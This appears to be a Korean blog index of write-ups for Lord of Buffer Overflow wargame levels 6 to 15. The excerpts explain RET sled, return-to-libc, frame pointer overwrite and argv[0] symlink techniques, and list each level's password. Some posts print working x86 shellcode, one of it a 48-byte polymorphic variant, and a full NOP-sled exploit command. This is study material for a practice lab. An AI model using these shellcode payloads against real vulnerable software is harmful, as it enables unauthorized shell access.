본문 바로가기

전체 글

[LOB] 15번 giant -> assassin 14번은 pass 하고 15번으로 넘어갔다. id : giantpassword : one step closer 로그인 후 assassin.c 코드를 확인해보면 다음과 같다. 이번엔 stack, RTL 둘 다 아니다. 친구한테 힌트를 들었는데 RET sled 를 이용하라고 했다. RET sled란 NOP sled와 비슷한 내용이다. RET를 연쇄적으로 호출하여 스택상의 위치를 위로 옮기는 작업이다. 버퍼 오버플로우를 일으켜 RET 위치에 RET가 실행되는 주소를 입력하여 RET가 두 번일어나게 한다. 그리고 두 번째 실행되는 RET에 쉘코드가 있는 버퍼의 주소를 입력해주면 쉘코드가 실행된다. gdb를 통해 쉘코드가 들어갈 주소를 알아낸다. 일단 strcpy 다음인 main+137에 브레이크 포인트를 걸어준.. 더보기
[LOB] 13번 darkknight -> bugbear id : darkknightpassword : new attacker 로그인 후 bugbear.c 코드를 확인해보면 다음과 같다. 이번 문제는 RTL을 이용한 문제이다. RTL(Return To Library)란 공유 라이브러리 영역에 있는 함수의 주소를 이용해서 바이너리에 존재하지 않는 함수를 사용할 수 있도록 하는 기법이다. 바이너리에 존재하지 않는 함수에는 system 함수, execl 함수 등이 있다. 여기서 system 함수를 실행하여 쉘을 획득할 수 있도록 하면 된다. system 함수는 운영체제의 명령어나 외부의 각종 실행 파일을 실행하기 위해서 사용한다. 쉘을 실행시키려면 /bin/sh를 호출해야 하기 때문에 system 함수를 실행시켜야 한다. 쉘코드 실행이 아닌 직접 공유 라이브러리의 .. 더보기
[LOB] 11번 skeleton -> golem id : golempassword : cup of coffee 로그인 후 darkknight.c 코드를 보면 다음과 같다. 이번 문제는 FPO를 이용하면 된다. FPO(Frame Pointer Overwrite)란 main에서 서브함수를 호출했을 때 서브함수의 SFP 1byte를 조작해서 서브함수가 종료되었을 때 ebp를 바꿔주고 main 함수의 에필로그 때 쉘코드가 있는 주소로 갈 수 있도록 해준다. 일단 bash2로 바꿔주고 길이가 같은 파일 이름으로 복사해준다. 그리고 gdb로 분석하는데 gdb는 주소가 부정확하므로 core dump로 분석을 해봐야한다. darkknight는 권한이 없어서 core 가 안뜨므로 복사본으로 core를 분석해야 한다. 서브 함수의 에필로그에서 mov esp, ebppo.. 더보기
[LOB] 10번 vampire -> skeleton id : vampirepassword : music world 로그인 후 skeleton.c의 코드를 보면 다음과 같다. 이번에는 argv를 싹 다 날려버린다. 동아리 선배가 주신 힌트를 보면 맨 아래에 NULL 위에 program name이 있다. 아무리 argv를 날려도 이 이름은 남아 있으니까 심볼릭 링크로 이름에 쉘코드와 NOP을 넣어주면 될 것 같다. 전에 풀었던 문제처럼 길이를 100으로 맞춰줄 것이기 때문에 a 100글자로 복사했다. gdb로 프로그램 이름이 있는 주소를 찾아 보았다. 0xbfffff97이 프로그램 이름의 시작 주소이다. skeleton에 쉘코드와 NOP이 있는 심볼릭 링크를 걸어준다. 위와 같이 만들어졌다. 이제 심볼릭 링크의 이름으로 실행 하고 NOP으로 44byte 채운.. 더보기
[LOB] 9번 troll -> vampire id : trollpassword : aspirin 로그인 후 vampire.c 코드를 보면 다음과 같다. 이번 문제는 리턴 어드레스의 주소의 끝에서 두번째가 0xff이면 안되고 주소의 끝이 0xbf 이어야 문제가 풀린다. 스택에 값을 엄청 넣어주면 ff 부분이 다르게 바뀐다는 사실을 알게 되었다. \xbf를 10만개 넣어줬더니 0xff 부분이 0xfe로 바뀐 것을 확인할 수 있다. NOP(44) + RET(4) + NOP(10만) + 쉘코드(25) + NOP(4) 이렇게 넣어주면 NOP sled를 통해 쉘코드가 실행된다. my-pass를 통해 비밀번호를 알아냈다. 더보기
[LOB] 8번 orge -> troll id : orgepassword : timewalker 로그인 후 troll.c의 코드를 보면 다음과 같다. 저번 문제에서 argv[1]을 이용해서 문제를 풀었었는데 이제는 그것도 못하게 되었다. 그래서 argv[0], 즉 파일 이름에 쉘코드를 넣어 실행시켜주면 될 것 같다. bash2로 바꿔준 후 진행했다. 일단 파일 이름에 넣을 수 있는 쉘코드는 \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 48byte 이.. 더보기
[LOB] 7번 darkelf -> orge id : darkelfpassword : kernel crashed 로그인 후 orge.c의 코드를 확인해보면 다음과 같다. 이번에는 argv[0]의 길이가 정해졌다. 심볼릭링크를 이용하면 될 것 같다. orge의 복사본인 oooo를 만들어 두 파일 모두 심볼릭 링크를 만들어준다. 이 전 문제에서 나왔던 주소를 입력해주면 core dump가 뜬다. core dump 분석을 통해 버퍼의 주소를 알아낼 수 있다. gdb -q aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa core 를 해주면 0xbfffffdf 에서 알 수 없는 명령어가 나왔다는 것을 알 수 있다. 이 부분의 값을 확인해보면 쉘코드가 있지 않다. 이 주소.. 더보기
[LOB] 6번 wolfman -> darkelf id : wolfmanpassword : love eyuna 로그인 후 darkelf.c 파일을 보면 다음과 같다 이번 문제는 저번처럼 풀면 될 것 같다 gdb로 argv[1]의 시작주소를 알아내면 된다 0xbffffc26 이다 ./darkelf `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*4 + "\x26\xfc\xff\xbf"'` NOP(15) + 쉘코드(25) + NOP(4) + argv[1] 주소(4) 쉘에서 my-pass를 입력하면 비밀번호를 알아낼 수 있다 더보기